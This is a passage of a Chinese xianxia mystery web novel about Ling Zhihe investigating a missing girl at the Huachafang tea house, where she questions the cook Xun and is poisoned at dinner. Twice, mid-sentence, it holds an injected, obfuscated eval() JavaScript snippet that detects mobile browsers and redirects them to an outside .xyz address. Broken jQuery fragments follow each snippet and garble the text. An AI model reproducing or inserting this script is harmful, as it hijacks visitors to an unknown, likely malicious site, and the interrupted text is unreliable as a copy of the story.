花茶坊,不知所踪的行首,撕裂的绫面。端阳之前,若她一人定是无法彻查此事,但唯有她一人。
院落内置错综复杂,廊道回环。令知荷趁众人琐事缠身,将侍室下房逛完一道,发觉多数门槛边角粗糙,部分门上留有门钉。
又潜入坊主房中寻找役籍,她来此地几日,不曾见过花茶坊坊主,但知他将役籍藏匿谨慎,令知荷翻遍过后也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710164|173595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
寻不见那本役籍,此处也并无夹壁暗格。
她抬头一看,木方格小巧致密,雕镂精奇,乃非耗以千金不成的平闇天花。如此,她点燃掌中灵火往上一探,隐隐望见暗处有一样突兀的东西,便隔空取物拿到手中。
翻过好几页,缙秋二字便显于目下。她来此地不过数月,于承佑六年四月二日,入花茶坊执役,同年九月十七日因病请辞。
随后,令知荷往前翻阅找到瑶女二字,她入花茶坊要早许多年,但相近的是她于承佑六年九月十五日,赎其出籍。至于是何人,因何原因,未有记载。
此事定不简单。令知荷不知何时起,双眉紧锁如同断枝柳,心被一根无形的线牵着,担忧不安交织在一起。她将役籍放回原处离开房屋,身后传来“哒哒”声,知有人来,于是迅速从一侧下楼。
自一楼出来时,有人在远处喊她:“荷姐姐,我还在寻你呢,你在这儿呀!”令知荷循声而去,抬首望见趴在三楼阑干笑得灿烂,正向她招手的小淳。
见令知荷顿住,小淳当即从三楼跑下来,来到她面前,也不问她为何没去歇息,只抱住她的手臂,摇了摇:“荷姐姐,你会做香囊嘛?”
香囊,师尊曾教过她,但她无心学习,并不会做。
“你问这个作甚?”
小淳挠挠头,不好意思道:“这不是端阳快到了嘛,我想偷偷给母亲做一个香囊……”后院常年不来人,她也不认识别的阿姐,只好来询问令知荷。
见她扭捏,令知荷摸摸她的脑袋:“我虽不会,但我可以帮你问一下别的哥哥姐姐。”
小淳有点失望,委屈道:“我不想让其他娘子知道告诉母亲,哥哥是男子,定然不会,没有别的姐姐了。”
会不会还得亲自问过才知道,令知荷带着小淳去找那荀哥儿。彼时他正坐在厨房廊前,看那月色朦胧、星色浅淡,空中带着丝丝凉意,周遭物影婆娑。
恰与小淳所思相反,当二人问出香囊之事时,荀哥儿坦然道:“会做。”曾为心爱女子习得香囊,可未来得及送出去。貌似这名女子也曾在花茶坊。
令知荷二人听他道当时他是如何做的香囊,话至一半时,小淳不解问他:“一定要取红色的布吗?别的颜色不行吗?”
荀哥儿一笑,露出浅浅梨涡,他轻敲小淳的脑袋:“当时那姑娘喜爱红色,我便取红色。你这孩子,死脑筋。”小淳听后,揉揉脑袋,“哦”了一声。
听他提到心爱的姑娘时,几尺高的男儿眼底尽是柔情。令知荷便问:“荀哥儿,那位姑娘让你如此牵挂,定然十分貌美,你为何不去寻她?”
荀哥儿叹了口气,摇摇头:“并非因她貌美……也再寻不到。”那位姑娘,姓祁。
莫非他口中所提,是祁缙秋?令知荷正欲开口再问,一旁的小淳打个哈欠,没耐心道:“好啦,哥哥不要说啦,我们还有正事呢!”
话音落定,荀哥儿敛意,转而将香囊的制法细细说来,针法走线、合囊填香,俱是说得分明。
7.花茶坊(二)
天泉缸中盛满清和雨,几尾红鲤轻轻颤动尾鳍,时而贴着缸壁缓缓游动,一滴雨露伴着素白的花儿落入水面,泛起涟漪。
令知荷垂眸怔忡,凝滞的目光落在那水面的倒影,望着枝桠摇曳惊起停留的鸟儿。
“见你愁眉不展,在想什么?”
令知荷转首,见说话的正是荀哥儿,便道:“池鱼需隐,但这缸中无蔽,鱼儿不得安心。”
荀哥儿听她这么说,笑道:“姑娘心细,若是这样,放些山石枯枝就行了。”说罢,他去捡来几块石头,又拾了几根树枝放入缸中。
缸中鱼儿被忽来的石子一惊,四处游窜,不过一会儿,又徘徊在那浮枝底下。
令知荷眉眼的愁散去,心里的愁仍留。愁不在此,唯有昨夜疑惑未解,恰好此刻空闲又无旁人,定要将此事一概问清楚。
她毫无顾忌地问:“荀哥儿,你昨夜所说女子,名唤什么?为何寻不回来?”
荀哥儿被她连珠发问,一时愣住,见她神色极其认真,便道:“我只知她姓祁,一次听过有人喊她……缙秋,但我不知是她不是,你同她相识?她去哪儿了?”
荀哥儿眼中迫切,似乎比任何人都更想知道缙秋的下落。自前日再次听到这个名字,他心里便悸动恍惚,他记得那位姑娘目若秋水,笑起时十分好看,嘴唇……如同将熟的朱果。
祁姑娘初来花茶坊时,姝丽的脸蛋挂着淡淡的愁,她着一身红裙,与后院的仆役大不相同。但她却不生涩,在前庭做事干练精敏,也大大方方地同后院的人交谈。
我无意听她说起家中贫寒,唯留母亲与生病的弟弟。可她这样的女子,里外都是极好的,若没了家中的吃穿用度压在肩头,早能逍遥自在地过活。但她从未抱怨过。
她曾在前庭痴痴望着台上那些妍丽夺目的女子,欢声笑语,杯中美酒如流水,席上珍馐若弃泥。而她唯有一身褪色红裙。众人不知,我却望穿她眼底的艳羡……怎会不艳羡。
……
一日花茶坊来了个痴傻老人,白发皤然,形容枯槁,他跪坐在冰凉石阶旁,风中不知是雨还是他浑浊的泪,枯瘦的手指不停地、反复地在脸上抹着,却怎么也抹不去那湿润。
整条街巷飘着他的哭喊声,喉头像破锣擦锈般嘶哑:“囡囡,爹爹喊你还像小时候一样响啊!你怎……都不与爹爹说一声……啊……”每一声都带着“嗬嗬”的气音,越来越低,最后只剩唇瓣颤抖着。
世道无情,寥寥行人路过也不曾看他一眼,花茶坊的人听得厌烦,任他在雨里淋了几个钟头,褪色布衫紧紧贴在嶙峋肩头。来人要将他赶到别处去,冷脸啐了声:“滚远点,别碍眼!”见他不动,几尺高的男人耐不住性子,一把扣住他胳膊,拖着便往角落搡去。
缙秋放下盘中酒水,顶着雨水跑出门。在那几个男人面前,她身形那么瘦小,发丝贴在脸颊两侧,雨水打湿眼睛,她忍住不适尽力地睁开眼,语气坚毅:“我会带他走的,你们不要动他!”她挡在老人身前,将他搀扶起来,任他身上的脏污沾染红裙,可她没有退步。
明知会被虔婆责罚,她还是去了。
那日我叹息,在这世态炎凉、人心叵测之地,总算有那么一个纯善的人。可是她不见了。
他独记得,是九月中一个秋风萧瑟的夜晚,自那过后,再没见过祁姑娘。
彼时秋燥,易伤肺阴。荀哥儿久居庖厨,熟稔食材脾性,便于晚膳过后,取银耳、莲子、冰糖,佐以桂花炖了一碗秋露羹。
是他专为祁姑娘炖的,他想以此表露心意,仅仅是表露心意,不求回报。荀哥儿尝了一口,甘而不饴、暖热适中,不觉露出笑意,又备一条手巾叠的方正放在一旁。
秋风萧瑟,唯恐吹凉羹汤,他匆匆赶到楼下,收拾好衣着正欲上去,便听得三楼砰然一声响,伴随女人的痛呼声。他隐匿在暗处,静静观察着长廊,没有再前进。
未及半刻,他便见有一女子从廊间奔去,停留不过瞬息,但灯火通明,他只一眼就认出那是祁姑娘,不知她为何停留,但很快又疯狂奔向一侧楼间,消失了。
荀哥儿瞳孔失焦,像凝了雾水一般,半晌不眨一动。
缙秋心善,即便自己过得并不顺意,见他人罹难也难抑恻隐之心,必是窥见不可泄露之事,方才仓惶奔逃。
令知荷眉棱突突,似有惊弦暗拨,她沉声问道:“你可知那声响是何物传出?痛呼的是何人?”见他神思恍惚,令知荷又拍了拍他的肩。
荀哥儿瞳孔收紧,沉吟良久:“那东西发出‘咚’的一声,较沉闷,随后,似乎有沙沙滚动的声音……她声音尖锐,不知是何人。”
那女子是否与瑶女有关。令知荷猜想,不觉从高处飘来湿意,落在她瘦而不薄的鼻梁,素净中透着筋骨,她指尖抚去,便见小淳蹦跳的身影掠过花丛,向二人而来。
小淳牵住令知荷的袖子,高兴得直嚷道:“荷姐姐,哥哥,开饭啦!端阳节要来咯,这回可管够吃些好的!”
花茶坊每至节日前后,总要备上比平时更好的食材用来迎客,大伙儿的口腹也就跟着享福。令知荷同荀哥儿、小淳走到一单间饭房,吃食堆得满桌,虽不比令宅,但于令知荷而言,倒也没什么异处——毕竟她已辟谷。
“都坐下吃饭呀,站着做什么?”小淳坐在凳子上,手持竹筷,两条短腿来回晃悠。
待令知荷、荀哥儿坐下后,小淳当即动筷,夹一口菜放入口中,露出满足的笑容。
见此,几人皆动起碗筷。令知荷咀嚼几口,虽多年不进食,这味道也让她觉得熟悉,寡淡无味。十几年前,如同她的养父母做的那些粗茶淡饭,只是食材要更好,更多。
小淳见她神色有异,便好奇地问:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713612|173595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“是饭菜不合胃口吗?荷姐姐,你是从哪儿来的呀?”
令知荷艰难咽下卡在喉间的菘菜,应道:“并非,只是想起一些往事……我吗?是从北方而来。”她随意编造一个地方,骗说自己被父母赶出门,无路可去才来此地。
小淳眉心揪在一起,一张小脸皱巴巴的:“好可怜哦……”
令知荷点点头,心道还好。不过是幼年父母双亡,被养父母弃养山中。那又如何,至少还有师尊收留她,养育她成为七派剑修中的佼佼者,落琼谷首座弟子。她无怨。
众人吃着饭菜,各有心事。她忽觉身体不适,随后心里一颤,凝视中透着惊异。
小淳那双眼仍然清澈,透着笑意:“荷姐姐,你怎么啦?”她握着竹筷,依然晃着身子。直到方才,她自始至终也只挑着一样菜吃,难道说……
令知荷急敛神定色,伪作如常:“无妨,我去净手,失陪。”说完,她迈着步伐急促地走出饭房。
不知从何时被人盯上了,还是说小淳从一开始就在监视她,这孩子……当下无法离开花茶坊,只得先甩开后面跟来的人。
令知荷听得后面有脚步声,她贴着廊柱急行,灰色衣摆扫过阑干,转过洞门时,瞥见廊边架子垂落的长枝,猛地一扯往后掷去,又迅速奔上楼,闪身进了一间空屋。她抬头便见有一处稍稍突出,于是使力推开,爬了上去。
她躺在阁楼夹层里,周遭灰扑扑的,呛得她连忙捂住口鼻,喉间铁腥上逆,每喘一口气,皆似吞入霜刃割喉,血络震裂于内。
饭菜中有毒,此毒她不曾遇过。令知荷运转灵力,敛息压下内腑翻涌,随即泄气一般瘫在木板上。他们应该追不过来了罢,回想这几日,何异燕巢于幕,鱼游于鼎?为了一个素未谋面的人……可她要做,做的也不少。
师尊告诉她,要心怀慈悲,除魔卫正道,手中既持剑,就能救得了人,知苍生疾苦。
原来除魔卫道简易,知苍生疾苦不易。令知荷闭上眼,长长舒出一口气。有人道她情障缠身,难辨悲欣,唯有一丝怜悯,此言有理,她能看穿一切,洞见肺腑,却无法感知。她知师尊待她如至亲却不感到欢愉,承蒙令家人偏爱却觉失真,为何难填心壑之缺?
如此想来,头脑竟有些发昏。
——
数个钟头过后,门外的脚步声惊醒了她,于是当下便起身,心中警觉。她听那人进屋,轻轻关上门后,再没有任何动静,整个屋子一片寂静。
半晌,那人在屋中来回踱步,此外没有其他声响。令知荷屏住呼吸,不知何人到此,目前她的状况,不愿与他人打交道。
又没了动静,随后,令知荷便觉那人距她愈来愈近……他抵住了暗板。来人身份莫测,善恶难辨,知荷心怦怦直跳,紧握袖中匕首。
暗板被猛地一推,那人翻身上来,二人俱瞳孔骤缩。